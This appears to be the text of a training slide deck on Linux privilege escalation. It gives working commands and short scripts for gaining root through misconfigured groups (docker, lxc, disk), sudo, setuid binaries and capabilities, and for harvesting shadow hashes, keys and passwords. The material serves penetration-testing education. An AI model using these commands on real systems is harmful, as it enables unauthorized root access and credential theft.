Linux privilege escalation

becoming r00t

Jeffrey Bencteux

August 13, 2025

Outline

Outline

Outline

Disclaimer

Disclaimer

- no container escapes
- mostly generic techniques
- not an exhaustive list
- not a CVE catalog

Outline

Objectives

- acquiring privilege escalation methodology
- learning the most-used generic techniques

Outline

Why do people give excessive privileges?

- ease-of-use

Why do people give excessive privileges?

- ease-of-use
- no security training

Why do people give excessive privileges?

- ease-of-use
- no security training
- just reckless

Why do people give excessive privileges?

- ease-of-use
- no security training
- just reckless
- all above

Outline

Groups - quickwin

- directly r00t if member of: `root`, `sudo`, `wheel`
- read `/etc/shadow` and crack hashes if member of: `shadow`

Groups - staff

- can write in `/usr/local`
- `/usr/local/bin` in `$PATH`
- hijack binaries from other `$PATH` folders

example

```
$ echo $PATH
/usr/local/sbin:/usr/local/bin:[...]:/usr/games
```

Groups - disk

- can access all file systems
- locate root FS and get secrets

example

```
$ df -h | grep -E '/$'
/dev/sda1        79G   26G   49G  35% /
$ debugfs /dev/sda1
debugfs:  cat /root/.ssh/id_rsa
```

Groups - video

- can access the screen
- take screenshots and read credentials

example

```
$ cat /dev/fb0 > /tmp/screen.raw
$ cat /sys/class/graphics/fb0/virtual_size
1280,800
$ gimp /tmp/screen.raw
```

Groups - docker

- very privileged group, multiple ways of getting r00t
- mount the host root on an instance volume
- start a privileged container with access to host namespaces (PID, net...)

example

```
$ docker run -it --rm -v /:/mnt <imagename> chroot
/mnt bash
container$ echo <key> >> /root/.ssh/authorized_keys
...
$ docker run --rm -it --pid=host --net=host
--privileged -v /:/mnt <imagename> chroot
/mnt bash
```

Groups - lxc

- very privileged group, multiple ways of getting r00t
- mount the host root on an instance volume

example

```
$ lxc config device add privesc host-root disk
source=/ path=/mnt/root recursive=true
$ lxc start privesc
$ lxc exec privesc /bin/sh
```

Groups - adm

- can read `/var/log`
- look for credentials in logs

example

```
$ journalctl -D /var/log/journal -g 'passw'
Aug 02 04:29:05 kali sudo[335345]:     kali :
TTY=pts/4 ; PWD=/tmp ; USER=root ;
 COMMAND=/usr/local/bin/prog -u test -p passw0rd
```

Outline

Sudo

- rules often permissive in `/etc/sudoers`
- check GTFObins. Usual suspects: `vim`, `apt`, `ansible-playbook`...

example

```
(root) NOPASSWD: <bin>
```

Sudo - apt

- invoke the default pager (`less`)
- create a rogue pre-install script

example

```
$ sudo apt changelog apt
!/bin/sh
...
echo 'Dpkg::Pre-Invoke "/bin/sh;false"' > /tmp/rogue
sudo apt install -c /tmp/rogue sl
```

Outline

setUID/setGID

- look for unusual binaries
- good knowledge of which are usual is necessary
- keep up with CVEs

example

```
find / -type f -perm -4000
find / -type f -perm -2000
```

setUID/setGID - examples

example

```
rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```

example

```
run-parts --new-session --regex '^sh$' /bin --arg='-p'
```

Outline

capabilities

- could be given to binaries on FS
- could be given to current process: shell, exploited program

example

```
# Filesystem check
$ getcap -r / 2>/dev/null
# Process check
$ cat /proc/self/status | grep Cap
$ capsh --decode=<cap_set>

$ getpcaps $$
```

capabilities - dangerous stuff

- CAP_SYS_ADMIN
- CAP_SETUID / CAP_SETGID
- CAP_SYS_PTRACE
- CAP_SYS_MODULE
- CAP_CHOWN
- CAP_FOWNER
- CAP_DAC_READ_SEARCH
- CAP_DAC_OVERRIDE
- CAP_SETFCAP

capabilities - CAP_SYS_ADMIN

- multiple ways of getting r00t
- e.g. bind mount a modified copy of `/etc/passwd`

example

```
$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_sys_admin=ep
$ cp /etc/passwd /tmp/passwd
$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
$ vim /tmp/passwd
$ vim elevate.py
$ python3 elevate.py
$ su
```

capabilities - CAP_SYS_ADMIN - elevate.py

example

```
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p,
  c_ulong, c_char_p)
MS_BIND = 4096
libc.mount("/tmp/passwd", "/etc/passwd", "none",
MS_BIND, "rw")
```

capabilities - CAP_CHOWN

- change owner of `/etc/shadow` and `/etc/passwd`, rewrite it, change back ownership
- change owner of `/root/.ssh/authorized_keys`, add your own, change back ownership
- etc.

capabilities - CAP_FOWNER

- change rights of `/etc/shadow`, add your own user, change rights back

example

```
$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_fowner=ep
$ /usr/bin/python3.11 -c 'import os;
  os.chmod("/etc/passwd", 0o0666);'
$ ls -lh /etc/shadow
-rw-rw-rw- 1 root shadow 1.5K Aug 30 10:38 /etc/shadow
```

capabilities - CAP_SETUID / CAP_SETGID

- use the `set*id()` syscalls with `root` UID/GID

example

```
$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_setuid=ep
$ /usr/bin/python3.11 -c 'import os; os.setuid(0);
os.system("/bin/bash");'
```

capabilities - CAP_DAC_READ_SEARCH

- read sensitive files

example

```
$ getcap /usr/bin/tar
/usr/bin/tar cap_dac_read_search=ep
$ tar -cf /tmp/shadow.tar /etc/shadow
$ cd /tmp && tar -xf shadow.tar
$ ls -lh /tmp/etc/shadow
-rw-r----- 1 kali kali 1.5K Aug 30 10:38 /tmp/etc/shadow
```

capabilities - CAP_DAC_OVERRIDE

- write sensitive files

example

```
$ getcap /usr/bin/python3
/usr/bin/python3 cap_dac_read_override=ep
$ python3
file=open("/etc/sudoers","a")
file.write("<user> ALL=(ALL) NOPASSWD:ALL")
file.close()
```

capabilities - CAP_SYS_PTRACE

- attach to privileged process and: dump memory, inject shellcode

example

```
$ getcap /usr/bin/gdb
/usr/bin/gdb cap_sys_ptrace=ep
$ gdb -p <pid>
(gdb) info files
0x<start> - 0x<end> is .rodata
(gdb) dump memory /tmp/mem 0x<start> 0x<end>
$ grep -i "passw" /tmp/mem
```

capabilities - CAP_SETFCAP

- Attribute arbitrary capability and use previously shown techniques

example

```
$ getcap /usr/bin/python3
/usr/bin/python3 cap_setfcap=ep
$ python3
...
cap_t = libcap.cap_from_text("cap_setuid+ep")
status = libcap.cap_set_file("/usr/bin/python3.xx",
cap_t)
```

capabilities - BONUS - CAP_NET_RAW

- usually given to `tcpdump`
- sniff packets on localhost/LAN and look for clear-text credentials

example

```
$ getcap /usr/bin/tcpdump
/usr/bin/tcpdump cap_net_raw=ep
$ tcpdump -i lo -w /tmp/trace.pcap
```

Outline

why are there wrong permissions on a UNIX system?

- sysadmin manipulation error

why are there wrong permissions on a UNIX system?

- sysadmin manipulation error
- bad permissions given by installation tools (ansible etc.)

why are there wrong permissions on a UNIX system?

- sysadmin manipulation error
- bad permissions given by installation tools (ansible etc.)
- custom software

Outline

writable folders

- any `$PATH` folder: impersonate system binaries
- `/lib`, `/usr/lib`: overwrite system libraries
- `/etc` stuff:
  - `/etc/systemd`: add systemd units
  - `/etc/sudoers.d`: add yourself
  - `/etc/cron.d`: add scheduled tasks
  - `/etc/skel`: add a `.ssh/authorized_keys` file
  - etc.

Outline

writable files

- add yourself:
  - `/etc/passwd`, `/etc/shadow`
  - `/etc/sudoers`
- modify services/tasks:
  - `/etc/systemd/system/*.service` (not the only systemd folder)
  - `/etc/crontab`
- SSH: add a key to `/<privileged_user_home>/.ssh/authorized_keys`

Outline

readable standard files

- passwords:
  - Linux: `/etc/shadow` and copies of it
  - Web/DB: `/var/www/`: usually full of credentials
- other secrets:
  - ansible vaults: YAML files
  - private SSH keys: `/home/<user>/.ssh`

readable custom files

- every configuration file on the system
- private cryptographic keys

example

```
$ find / -type f -readable -name "*.conf" -exec grep
-hni "passw"  + 2>/dev/null
/opt/app/custom.conf:1:password=s3cr3t

$ find /tmp -type f -readable -exec grep
-Hn "PRIVATE KEY"  + 2>/dev/null
/opt/whatever/id_rsa:1:
-----BEGIN OPENSSH PRIVATE KEY-----
```

Ansible vault

example

```
# get rid of everything apart the
# $ANSIBLE_VAULT;1.1;AES256 line
# and the hash in ansible.yaml
$ ansible2john <file>.yaml > <file>.hash

# remove the beginning <file>: in front of the first
# '$'
$ john --wordlist=<list> <file>.hash
$ hashcat -m 16900 <file>.hash <list>

# use cracked password to decode vault
$ cat <file>.txt | ansible-vault decrypt
```

Outline

Outline

Disclaimer

warning

- production environment disruptions

Userland exploits

- not that rare
- require monitoring of userland CVEs

User land exploits - examples

- CVE-2021-3560: polkit
- CVE-2021-3156: Baron Samedit Sudo
- CVE-2023–22809: sudoedit
- etc.

Outline

Outline

Disclaimer

disclaimer

- usually the last thing you want to try

Disclaimer

disclaimer

- usually the last thing you want to try
- production environment disruptions

Disclaimer

disclaimer

- usually the last thing you want to try
- production environment disruptions
- more or less reliable depending on the technique

Disclaimer

information

- know what you execute, read exploits
- finding well-written, generic and reliable exploits is hard
- finding a bug does not means it is easily exploitable

Kernel land exploits - exploits

- CVE-2016-5195: Dirty COW
- CVE-2022-0847: Dirty Pipe
- CVE-2024-41010: UAF in tcx_entry (exploit?)
- etc.

Outline

Processes

- credentials on command line
- do not overlook periodic tasks: `pspy`

example

```
$ ps aux
kali      2378935  1.1  0.0   5484  1792 pts/0    S+
13:16   0:00 ./custom -u user -p p@ssw0rd
$ top
$ htop
```

Outline

Automation

- LinPEAS
- make your own scripts

What really works

1. people giving excessive privileges for common tasks

What really works

1. people giving excessive privileges for common tasks
2. people giving rights too broad on files or folders

What really works

1. people giving excessive privileges for common tasks
2. people giving rights too broad on files or folders
3. recent user-land/kernel-land exploits with poor patch policy

What really works

1. people giving excessive privileges for common tasks
2. people giving rights too broad on files or folders
3. recent user-land/kernel-land exploits with poor patch policy
4. people reusing passwords for the `root` user

What really works

Questions?